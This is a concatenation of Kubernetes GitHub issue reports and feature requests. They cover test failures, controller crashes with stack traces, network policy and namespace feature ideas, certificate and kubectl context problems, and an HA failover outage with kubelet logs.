this test is still failing -- looks like now due to a minor change from \ image s \  to \ image\   see pr 42283  -- https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-master/28 k8sio-kubectl-client-k8sio-kubectl-describe-should-check-if-kubectl-describe-prints-relevant-information-for-rc-and-pods-conformance\r \r cc @smarterclayton

is this a bug report or feature request?    choose one :\r bug report \r \r   kubernetes version    use  kubectl version  :\r community master\r \r   environment  :\r -   cloud provider or hardware configuration  : my local machine\r -   os    e.g. from /etc/os-release : linux\r -   kernel    e.g.  uname -a  : linux localhost.localdomain 4.10.8-200.fc25.x86_64  1 smp fri mar 31 13:20:22 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r ipv6 is disabled in my environment.\r net.ipv6.conf.all.disable_ipv6=0\r \r   what happened  :\r  $ make test what=k8s.io/kubernetes/federation/pkg/kubefed/init kube_goflags=\ -v\  kube_test_args='-run ^testcertstls$'\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admission.k8s.io/v1alpha1,apps/v1beta1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2alpha1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,federation/v1beta1\r +++  0611 16:37:17  running tests without code coverage\r === run   testcertstls\r --- fail: testcertstls  5.11s \r \tinit_test.go:522:  0  unexpected error: dial tcp  :: :41981: connect: cannot assign requested address\r \tinit_test.go:522:  1  unexpected error: dial tcp  :: :45949: connect: cannot assign requested address\r \tinit_test.go:522:  2  unexpected error: dial tcp  :: :42481: connect: cannot assign requested address\r \tinit_test.go:522:  3  unexpected error: dial tcp  :: :43051: connect: cannot assign requested address\r \tinit_test.go:522:  4  unexpected error: dial tcp  :: :38445: connect: cannot assign requested address\r \tinit_test.go:522:  5  unexpected error: dial tcp  :: :45791: connect: cannot assign requested address\r \tinit_test.go:511:  6  unexpected error: want x509.hostnameerror, got:  net.operror\r \tinit_test.go:511:  7  unexpected error: want x509.hostnameerror, got:  net.operror\r \tinit_test.go:511:  8  unexpected error: want x509.hostnameerror, got:  net.operror\r \tinit_test.go:511:  9  unexpected error: want x509.hostnameerror, got:  net.operror\r \tinit_test.go:515:  10  unexpected error: want x509.unknownauthorityerror, got:  net.operror\r \tinit_test.go:515:  11  unexpected error: want x509.unknownauthorityerror, got:  net.operror\r \tinit_test.go:511:  12  unexpected error: want x509.hostnameerror, got:  net.operror\r \tinit_test.go:511:  13  unexpected error: want x509.hostnameerror, got:  net.operror\r fail\r exit status 1\r fail\tk8s.io/kubernetes/federation/pkg/kubefed/init\t5.391s\r makefile:164: recipe for target 'test' failed\r make:      test  error 1 \r \r \r   what you expected to happen  :\r unit test should passes.\r \r   how to reproduce it    as minimally and precisely as possible :\r this always happens in my environment.\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  : feature\r   \r currently it looks like network policies supports only ipblocks, but there is no possibility to define is that ipblock allowed or denied. this means that it is impossible to make advanced models of which ip is allowed and which not. https://kubernetes.io/docs/concepts/services-networking/network-policies/\r \r \r i suggest that we should take example of what openshift is doing here, because that model is pretty nice https://docs.openshift.com/container-platform/3.6/admin_guide/managing_networking.html admin-guide-limit-pod-access-egress \r \r      example of two use-cases:\r \r i want allow egress traffic to few ip addresses like, 192.168.0.1, 10.0.0.1, 8.8.8.8 and deny others. how i do this currently in kubernetes or is that possible?\r \r in openshift this is  please note that order in these rules matter :\r \r    \r apiversion: v1\r kind: egressnetworkpolicy\r metadata:\r   name: default\r spec:\r   egress:\r   - to:\r       cidrselector: 192.168.0.1/32\r     type: allow\r   - to:\r       cidrselector: 10.0.0.1/32\r     type: allow\r   - to:\r       cidrselector: 8.8.8.8/32\r     type: allow\r   - to:\r       cidrselector: 0.0.0.0/0\r     type: deny\r    \r \r i want deny cidr 192.168.40.0/24 but allow others\r \r in openshift it is  please note that order in these rules matter :\r \r    \r apiversion: v1\r kind: egressnetworkpolicy\r metadata:\r   name: default\r spec:\r   egress:\r   - to:\r       cidrselector: 192.168.40.0/24\r     type: deny\r   - to:\r       cidrselector: 0.0.0.0/0\r     type: allow\r    \r \r \r so i am kind of asking, should we add  type  here https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/networking/types.go l151-l160 which defines is it allowed or denied.

 \r   what happened  :\r  namespacelifecycle  do not permit to add custom namespaces to prevent deletion. we have differents environments  e.g.  dev  and  prod   and we occasionally switch between  kubernetes  and  minikube . custom immortals namespaces could help us to avoid human mistakes. \r \r   what you expected to happen  :\r  namespacelifecycle  could accept a configuration file like  podnodeselector .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create ns\r 2. create a pod.\r 3. delete ns\r \r   anything else we need to know?  :\r we found  this code  https://github.com/kubernetes/apiserver/blob/master/pkg/admission/plugin/namespace/lifecycle/admission.go l56  that has the 3 hard coded immortals namespaces.\r \r as it is a feature request i'm able to contribute with some prs.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r controller manager crash looped with a seg fault after failing to create a load balancer for the kubernetes dashboard. the calls to create the load balancer were failing with a 400\r \r   what you expected to happen  :\r controller manager to provision the resources or to fail without a segfault and a clearer error message saying what the error creating the resource was.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just created a cluster with an add on for the dashboard.\r \r   anything else we need to know?  :\r logs from controller manager:\r \r i0423 12:50:28.532604   18125 range_allocator.go:157  starting range cidr allocator\r i0423 12:50:28.532635   18125 controller_utils.go:1019  waiting for caches to sync for cidrallocator controller\r i0423 12:50:28.532669   18125 taint_controller.go:181  starting noexecutetaintmanager\r i0423 12:50:28.532732   18125 node_controller.go:611  initializing eviction metric for zone: westeurope: :0\r w0423 12:50:28.532832   18125 node_controller.go:964  missing timestamp for node aks-nodepool1-38057350-0. assuming now as a timestamp.\r i0423 12:50:28.532938   18125 node_controller.go:880  controller detected that zone westeurope: :0 is now in state normal.\r i0423 12:50:28.533081   18125 event.go:218  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ aks-nodepool1-38057350-0\ , uid:\ 9fbde49a-4476-11e8-9b1c-0a58ac1f0e15\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node aks-nodepool1-38057350-0 event: registered node aks-nodepool1-38057350-0 in controller\r i0423 12:50:28.533753   18125 controller_utils.go:1026  caches are synced for clusterroleaggregator controller\r i0423 12:50:28.535278   18125 controller_utils.go:1026  caches are synced for endpoint controller\r i0423 12:50:28.536974   18125 controller_utils.go:1026  caches are synced for attach detach controller\r e0423 12:50:28.537377   18125 attach_detach_controller.go:345  error creating spec for volume \ mssqldb\ , pod \ feature-test3\ /\ mssqlserver-6d45f8cf58-r5r7l\ : error processing pvc \ feature-test3\ /\ mssql-data\ : pvc feature-test3/mssql-data has non-bound phase  \ pending\   or empty pvc.spec.volumename  \ \  \r i0423 12:50:28.538422   18125 controller_utils.go:1026  caches are synced for deployment controller\r i0423 12:50:28.541231   18125 controller_utils.go:1026  caches are synced for persistent volume controller\r i0423 12:50:28.553734   18125 controller_utils.go:1026  caches are synced for replicationcontroller controller\r i0423 12:50:28.557127   18125 controller_utils.go:1026  caches are synced for ttl controller\r i0423 12:50:28.632899   18125 controller_utils.go:1026  caches are synced for cidrallocator controller\r e0423 12:50:28.765043   18125 service_controller.go:776  failed to process service kube-system/kubernetes-dashboard. retrying in 5s: error getting lb for service kube-system/kubernetes-dashboard: service kube-system/kubernetes-dashboard  - loadbalancer not found\r i0423 12:50:28.765606   18125 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ kube-system\ , name:\ kubernetes-dashboard\ , uid:\ bf653ab4-4476-11e8-9b1c-0a58ac1f0e15\ , apiversion:\ v1\ , resourceversion:\ 193\ , fieldpath:\ \ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry : error getting lb for service kube-system/kubernetes-dashboard: service kube-system/kubernetes-dashboard  - loadbalancer not found\r i0423 12:50:28.765638   18125 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ feature-initialproject\ , name:\ identityserver-service\ , uid:\ 2ec2df0f-4485-11e8-9b1c-0a58ac1f0e15\ , apiversion:\ v1\ , resourceversion:\ 7879\ , fieldpath:\ \ } : type: 'normal' reason: 'ensuringloadbalancer' ensuring load balancer\r i0423 12:50:28.806251   18125 controller_utils.go:1026  caches are synced for namespace controller\r i0423 12:50:28.809049   18125 controller_utils.go:1026  caches are synced for service account controller\r i0423 12:50:28.844247   18125 controller_utils.go:1026  caches are synced for resource quota controller\r i0423 12:50:28.852639   18125 controller_utils.go:1026  caches are synced for resource quota controller\r i0423 12:50:28.859159   18125 controller_utils.go:1026  caches are synced for garbage collector controller\r i0423 12:50:28.859180   18125 garbagecollector.go:144  garbage collector: all resource monitors have synced. proceeding to collect garbage\r i0423 12:50:28.859261   18125 controller_utils.go:1026  caches are synced for garbage collector controller\r i0423 12:50:28.908094   18125 controller_utils.go:1026  caches are synced for stateful set controller\r i0423 12:50:28.919567   18125 controller_utils.go:1026  caches are synced for disruption controller\r i0423 12:50:28.919591   18125 disruption.go:296  sending events to api server.\r i0423 12:50:29.921277   18125 azure_loadbalancer.go:242  selectloadbalancer: cluster kubernetes  service feature-initialproject/identityserver-service  isinternal true  - availabilitysetsnames  nodepool1-availabilityset-38057350 \r e0423 12:50:30.504721   18125 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:367\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:326\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:113\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:306\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:249\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:771\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:217\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1d5772d \r \r goroutine 1338  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x40b2e00, 0xa603590 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .getserviceloadbalancerstatus 0xc4206cdc00, 0xc422b401e0, 0xc4208f6b90, 0xc422b401e0, 0xc4210c0388, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:326 +0x30d\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .ensureloadbalancer 0xc4206cdc00, 0x496be8b, 0xa, 0xc422b401e0, 0xc4210c0388, 0x1, 0x1, 0xbeaf93852d9a680b, 0x2fe0fa757, 0xa9f0d40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:113 +0x2ea\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .ensureloadbalancer 0xc420f56000, 0xc422b401e0, 0xc422b401e0, 0x4961da9, 0x6 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374 +0xcc\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .createloadbalancerifneeded 0xc420f56000, 0xc421fd81e0, 0x2d, 0xc422b401e0, 0xc422c8dc40, 0xc422c8dc78, 0x1265492 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:306 +0x20e\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .processserviceupdate 0xc420f56000, 0xc4217bcc60, 0xc422b401e0, 0xc421fd81e0, 0x2d, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:249 +0xeb\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .syncservice 0xc420f56000, 0xc421fd81e0, 0x2d, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:771 +0x3aa\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .worker.func1 0xc420f56000 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213 +0xd9\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .worker 0xc420f56000 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:217 +0x2b\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller . k8s.io/kubernetes/pkg/controller/service.worker -fm  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc420a04570 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc420a04570, 0x3b9aca00, 0x0, 0x1, 0xc4208fa0c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc420a04570, 0x3b9aca00, 0xc4208fa0c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/pkg/controller/service.  servicecontroller .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195 +0x20c\r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: azure, aks\r - os  e.g. from /etc/os-release : ubunutu\r - kernel  e.g.  uname -a  : xenial\r - install tools:aks\r - others:\r @khenidak

   \r   what happened  :\r   _kubectl top_   only work on one master    ha with 3 masters  \r    \r  root@app198 log $ kubectl top pod --all-namespaces\r error: you must be logged in to the server  unauthorized \r    \r \r   what you expected to happen  :\r   _kubectl top_   to work on all masters like before   on 3 masters  \r \r   how to reproduce it  as minimally and precisely as possible   :\r after installed  custom metrics api  kubernetes-incubator/metrics-server   _kubectl top_   only works on one master\r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.10.0  \r - cloud provider or hardware configuration:   vmware  \r - os  e.g. from /etc/os-release :   centos 7.4  \r - kernel  e.g.  uname -a  :   3.10.0-693.21.1.el7  \r

is this a bug report or feature request?  :\r   \r   what happened  :\r the openapi definition for customresourcedefinition currently does not have x-kubernetes-group-version-kind. this separates the resource from other k8s api resources.\r \r from openapi definitions in  k8s.io/kubernetes/api/openapi-spec  https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/openapi-spec/swagger.json :\r    \r    \ io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.customresourcedefinition\ : {\r     \ description\ : \ customresourcedefinition represents a resource that should be exposed on the api server.  its name must be in the format \\u003c.spec.name\\u003e.\\u003c.spec.group\\u003e.\ ,\r     \ properties\ : {\r      \ apiversion\ : {\r       \ description\ : \ apiversion defines the versioned schema of this representation of an object. servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md resources\ ,\r       \ type\ : \ string\ \r      },\r      \ kind\ : {\r       \ description\ : \ kind is a string value representing the rest resource this object represents. servers may infer this from the endpoint the client submits requests to. cannot be updated. in camelcase. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md types-kinds\ ,\r       \ type\ : \ string\ \r      },\r      \ metadata\ : {\r       \ $ref\ : \  /definitions/io.k8s.apimachinery.pkg.apis.meta.v1.objectmeta\ \r      },\r      \ spec\ : {\r       \ description\ : \ spec describes how the user wants the resources to appear\ ,\r       \ $ref\ : \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.customresourcedefinitionspec\ \r      },\r      \ status\ : {\r       \ description\ : \ status indicates the actual state of the customresourcedefinition\ ,\r       \ $ref\ : \  /definitions/io.k8s.apiextensions-apiserver.pkg.apis.apiextensions.v1beta1.customresourcedefinitionstatus\ \r      }\r     }\r    },\r    \r \r   what you expected to happen  :\r x-kubernetes-group-version-kind would be set, like in all other k8s resources:\r    \r     \ x-kubernetes-group-version-kind\ :  \r      {\r       \ group\ : \ apiextensions.k8s.io\ ,\r       \ kind\ : \ customresourcedefinition\ ,\r       \ version\ : \ v1beta1\ \r      },\r

 \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a service of type ilb.\r 2. edit the service \r     a. change the type to clusterip\r     b. remove the port's nodeport\r \r observe the service controller calls the delete code for the external load balancer instead of the internal loadbalancer.\r \r  /assign @bowei \r cc @freehan @mrhohn

https://github.com/kubernetes/kubernetes/commit/7828e5d0f97c455de4ff93d43f11f953a7951916 made cloud providers authoritative for the addresses reported on node objects, so that the addresses used by the node  and requested as sans in serving certs  could be verified via cloud provider metadata.\r \r this had the effect of no longer reporting addresses of type  hostname  for node objects for some cloud providers. cloud providers that have the instance hostname available in metadata should add a  type: hostname  address to node status.\r \r this issue tracks the cloud providers updated to do so:\r -  x  aws - https://github.com/kubernetes/kubernetes/pull/67715\r -  x  azure - already reported hostname address\r -  x  cloudstack - https://github.com/kubernetes/kubernetes/pull/67719\r -  x  gce - https://github.com/kubernetes/kubernetes/pull/63512\r -  x  openstack -  67748\r -  x  vsphere -  67922\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r colleagues made an extension server following the example.  i have a cluster that is partially broken.  i have not fully diagnosed all the issues.  but one of them is that the extension server is panicing.  here is an example:\r    \r panic: runtime error: index out of range\r \r goroutine 42  running :\r k8s.io/apiserver/pkg/storage/etcd3.compact 0x1a23f80, 0xc4200d6400, 0xc420500f00, 0x19, 0x47, 0x19, 0x47, 0x0, 0x0 \r \t/myplace/src/k8s.io/apiserver/pkg/storage/etcd3/compact.go:148 +0x89d\r k8s.io/apiserver/pkg/storage/etcd3.compactor 0x1a23f80, 0xc4200d6400, 0xc420500f00, 0x45d964b800 \r \t/myplace/src/k8s.io/apiserver/pkg/storage/etcd3/compact.go:122 +0x17b\r created by k8s.io/apiserver/pkg/storage/etcd3.startcompactor\r \t/myplace/src/k8s.io/apiserver/pkg/storage/etcd3/compact.go:63 +0x415\r    \r \r the that first line is https://github.com/kubernetes/apiserver/blob/8378ef881d4fa7d3ca5c5e7e5309592ec69b11e4/pkg/storage/etcd3/compact.go l148 .  it reads the same in  master  now.\r \r   what you expected to happen  :\r i expected to get problems logged rather than panics.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i do not yet understand the problem well enough to produce a minimal demonstration.  but just looking at that line from a general golang perspective reveals two index operations, and there is no preceding code that tests their validity.\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t09:56:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: local bare metal\r \r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r \r - kernel  e.g.  uname -a  : 4.4.0-133-generic\r \r - install tools:\r - others:\r

 \r   what happened  :\r i logged in to a gcloud gke cluster, and then executed an unrelated kubectl command towards our on-premise cluster like this:\r \r     kubectl --token=xxx --server=https://out-cluster.our-domain apply -f myresource.yaml \r \r   what you expected to happen  :\r \r kubectl to work normally  instead of producing a x509 certificate error .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the kubectl command produced a certificate error:\r \r     unable to connect to the server: x509: certificate signed by unknown authority\r \r the problem was that my .kube/config's current-context pointed to the gke cluster with a \ certificate-authority-data\  parameter set. considering that i specified another --server, i wouldn't expect that certificate-authority-data specification to be effective.\r \r   anything else we need to know?  :\r \r i think that kubectl should try to match the correct context, and not use the \ current-context\  when the --server parameter is given.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r   - gke\r   - openshift with a certificate signed by my company's internal ca\r \r - os  e.g. from /etc/os-release :\r \r red hat enterprise linux 7.4\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hi，\r the certificate generated by kubeadm is one year. indeed, it has been written for one year from the source code. if the deadline is up to configmap and secr, all services need to be rebuilt. how do you solve this problem?\r \r <!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r we are having a multi master  03 master nodes  setup with keepalived responsible for the master vip.  the setup is worked fine until last week, one of our master nodes   kube1   which was serving our vip got crashed last week causing outage to our kubernetes services.\r \r ideally, keepalive virtual ip and kubernetes control plane services should fail over to an alternate master node if the current master node crashes, keepalived worked as expected for its ha purpose and the vip got migrated to  kube2 , but unfortunately, the kubernetes control plane services  api-server etc..  didn't failover correctly causing outage to our kubernetes services.\r \r i have checked the logs during incident time and could locate the below entries in kubelet logs   journalctl -u kubelet  \r \r    text\r may 08 02:21:14 kube2 kubelet 7536 : w0508 02:21:14.363918    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:21:24 kube2 kubelet 7536 : w0508 02:21:24.360791    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:21:24 kube2 kubelet 7536 : e0508 02:21:24.809021    7536 controller.go:115  failed to ensure node lease exists, will retry in 200ms, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r may 08 02:21:27 kube2 kubelet 7536 : e0508 02:21:27.026607    7536 kubelet_node_status.go:385  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ pidpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2019-05-08t02:21:17z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-05-08t02:21:17z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-05-08t02:21:17z\\\ ,\\\ type\\\ :\\\ pidpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-05-08t02:21:17z\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ kube2\ : patch https://10.23.50.30:6443/api/v1/nodes/kube2/status?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r may 08 02:21:34 kube2 kubelet 7536 : w0508 02:21:34.371577    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:21:35 kube2 kubelet 7536 : e0508 02:21:35.010101    7536 controller.go:115  failed to ensure node lease exists, will retry in 400ms, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r may 08 02:21:37 kube2 kubelet 7536 : e0508 02:21:37.027822    7536 kubelet_node_status.go:385  error updating node status, will retry: error getting node \ kube2\ : get https://10.23.50.30:6443/api/v1/nodes/kube2?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r may 08 02:21:37 kube2 kubelet 7536 : e0508 02:21:37.028233    7536 controller.go:115  failed to ensure node lease exists, will retry in 800ms, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: read tcp 10.23.82.2:45656->10.23.50.30:6443: use of closed network connection\r may 08 02:21:44 kube2 kubelet 7536 : w0508 02:21:44.375807    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:21:47 kube2 kubelet 7536 : e0508 02:21:47.028270    7536 kubelet_node_status.go:385  error updating node status, will retry: error getting node \ kube2\ : get https://10.23.50.30:6443/api/v1/nodes/kube2?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r 